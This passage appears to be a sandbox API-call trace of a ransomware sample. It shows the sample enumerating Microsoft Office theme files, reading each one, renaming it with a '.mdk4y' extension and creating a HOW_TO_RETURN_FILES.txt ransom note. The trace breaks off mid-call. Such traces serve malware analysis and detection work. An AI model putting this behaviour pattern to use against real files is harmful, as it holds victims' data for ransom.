CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Perspective.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\perspective.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0177.372] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825260200000) returned 1 [0177.372] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3c6, lpOverlapped=0x0) returned 1 [0177.382] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825261200000) returned 1 [0177.382] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825261200000) returned 1 [0177.382] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Perspective.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\perspective.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Perspective.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\perspective.xml.mdk4y")) returned 1 [0177.384] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0177.384] AreFileApisANSI () returned 1 [0177.384] GetACP () returned 0x4e4 [0177.384] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Pushpin.xml", cchWideChar=11, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Pushpin.xml.xml", lpUsedDefaultChar=0x37df4c) returned 11 [0177.384] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Pushpin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\pushpin.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0177.385] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825261500000) returned 1 [0177.385] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3c2, lpOverlapped=0x0) returned 1 [0177.408] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825263800000) returned 1 [0177.408] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825263800000) returned 1 [0177.408] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Pushpin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\pushpin.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Pushpin.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\pushpin.xml.mdk4y")) returned 1 [0177.410] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0177.410] AreFileApisANSI () returned 1 [0177.410] GetACP () returned 0x4e4 [0177.410] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Slipstream.xml", cchWideChar=14, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Slipstream.xmll", lpUsedDefaultChar=0x37df4c) returned 14 [0177.410] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Slipstream.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\slipstream.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0177.411] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825264100000) returned 1 [0177.411] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3c5, lpOverlapped=0x0) returned 1 [0177.421] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825265100000) returned 1 [0177.421] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825265100000) returned 1 [0177.422] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Slipstream.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\slipstream.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Slipstream.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\slipstream.xml.mdk4y")) returned 1 [0177.423] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0177.423] AreFileApisANSI () returned 1 [0177.423] GetACP () returned 0x4e4 [0177.423] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Solstice.xml", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Solstice.xmlml", lpUsedDefaultChar=0x37df4c) returned 12 [0177.423] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Solstice.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\solstice.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0177.424] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825265500000) returned 1 [0177.425] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3c3, lpOverlapped=0x0) returned 1 [0177.428] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825265800000) returned 1 [0177.428] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825265800000) returned 1 [0177.429] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Solstice.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\solstice.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Solstice.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\solstice.xml.mdk4y")) returned 1 [0177.430] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0177.430] AreFileApisANSI () returned 1 [0177.430] GetACP () returned 0x4e4 [0177.430] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Technic.xml", cchWideChar=11, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Technic.xmll", lpUsedDefaultChar=0x37df4c) returned 11 [0177.430] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Technic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\technic.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0177.431] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825266100000) returned 1 [0177.432] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3c2, lpOverlapped=0x0) returned 1 [0177.439] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825266900000) returned 1 [0177.439] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825266900000) returned 1 [0177.439] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Technic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\technic.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Technic.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\technic.xml.mdk4y")) returned 1 [0177.441] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0177.441] AreFileApisANSI () returned 1 [0177.441] GetACP () returned 0x4e4 [0177.441] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Thatch.xml", cchWideChar=10, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Thatch.xmll", lpUsedDefaultChar=0x37df4c) returned 10 [0177.441] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Thatch.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\thatch.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0177.441] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825267100000) returned 1 [0177.442] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3c1, lpOverlapped=0x0) returned 1 [0177.461] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825269100000) returned 1 [0177.461] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825269100000) returned 1 [0177.462] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Thatch.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\thatch.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Thatch.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\thatch.xml.mdk4y")) returned 1 [0177.463] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0177.463] AreFileApisANSI () returned 1 [0177.463] GetACP () returned 0x4e4 [0177.463] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Trek.xml", cchWideChar=8, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Trek.xmlml", lpUsedDefaultChar=0x37df4c) returned 8 [0177.464] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Trek.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\trek.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0177.464] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825269400000) returned 1 [0177.464] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3bf, lpOverlapped=0x0) returned 1 [0177.484] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825271400000) returned 1 [0177.484] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825271400000) returned 1 [0177.484] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Trek.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\trek.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Trek.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\trek.xml.mdk4y")) returned 1 [0177.486] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0177.486] AreFileApisANSI () returned 1 [0177.486] GetACP () returned 0x4e4 [0177.486] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Urban.xml", cchWideChar=9, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Urban.xmll", lpUsedDefaultChar=0x37df4c) returned 9 [0177.486] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Urban.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\urban.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0177.486] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825271600000) returned 1 [0177.486] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3c0, lpOverlapped=0x0) returned 1 [0177.493] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825272300000) returned 1 [0177.493] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825272300000) returned 1 [0177.493] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Urban.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\urban.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Urban.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\urban.xml.mdk4y")) returned 1 [0177.494] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0177.494] AreFileApisANSI () returned 1 [0177.494] GetACP () returned 0x4e4 [0177.494] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Verve.xml", cchWideChar=9, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Verve.xml", lpUsedDefaultChar=0x37df4c) returned 9 [0177.494] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Verve.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\verve.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0177.495] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825272500000) returned 1 [0177.495] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3c0, lpOverlapped=0x0) returned 1 [0177.499] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825272900000) returned 1 [0177.499] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825272900000) returned 1 [0177.500] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Verve.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\verve.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Verve.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\verve.xml.mdk4y")) returned 1 [0177.500] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0177.500] AreFileApisANSI () returned 1 [0177.500] GetACP () returned 0x4e4 [0177.500] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Waveform.xml", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Waveform.xml", lpUsedDefaultChar=0x37df4c) returned 12 [0177.501] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Waveform.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\waveform.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0177.501] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825273100000) returned 1 [0177.501] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3c3, lpOverlapped=0x0) returned 1 [0177.510] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825274000000) returned 1 [0177.511] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825274100000) returned 1 [0177.511] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Waveform.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\waveform.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Waveform.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\waveform.xml.mdk4y")) returned 1 [0177.512] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 0 [0177.512] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 [0177.512] AreFileApisANSI () returned 1 [0177.512] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x692108, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 90 [0177.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0177.513] GetFileType (hFile=0x12c) returned 0x1 [0177.514] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0177.514] AreFileApisANSI () returned 1 [0177.514] GetACP () returned 0x4e4 [0177.514] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Theme Effects", cchWideChar=13, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Theme Effects", lpUsedDefaultChar=0x37dfd8) returned 13 [0177.514] AreFileApisANSI () returned 1 [0177.514] GetACP () returned 0x4e4 [0177.514] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a9898, cbMultiByte=67, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned 67 [0177.524] AreFileApisANSI () returned 1 [0177.524] GetACP () returned 0x4e4 [0177.524] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6p\x90$j", lpUsedDefaultChar=0x37df4c) returned 1 [0177.524] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0177.526] AreFileApisANSI () returned 1 [0177.526] GetACP () returned 0x4e4 [0177.526] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6p\x90$j", lpUsedDefaultChar=0x37df4c) returned 2 [0177.526] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0177.526] AreFileApisANSI () returned 1 [0177.526] GetACP () returned 0x4e4 [0177.526] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Adjacency.eftx", cchWideChar=14, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Adjacency.eftxVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6p\x90$j", lpUsedDefaultChar=0x37df4c) returned 14 [0177.526] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0177.528] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825275800000) returned 1 [0177.528] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5261, lpOverlapped=0x0) returned 1 [0177.548] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825277800000) returned 1 [0177.548] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825277800000) returned 1 [0177.549] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx.mdk4y")) returned 1 [0177.550] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0177.550] AreFileApisANSI () returned 1 [0177.550] GetACP () returned 0x4e4 [0177.550] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Angles.eftx", cchWideChar=11, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Angles.eftxftx", lpUsedDefaultChar=0x37df4c) returned 11 [0177.550] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0177.551] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825278100000) returned 1 [0177.551] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6ae5, lpOverlapped=0x0) returned 1 [0177.560] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825279000000) returned 1 [0177.560] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825279000000) returned 1 [0177.561] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx.mdk4y")) returned 1 [0177.562] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0177.562] AreFileApisANSI () returned 1 [0177.562] GetACP () returned 0x4e4 [0177.562] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Apex.eftx", cchWideChar=9, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Apex.eftxtx", lpUsedDefaultChar=0x37df4c) returned 9 [0177.562] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0177.563] QueryPerformanceCounter (in: 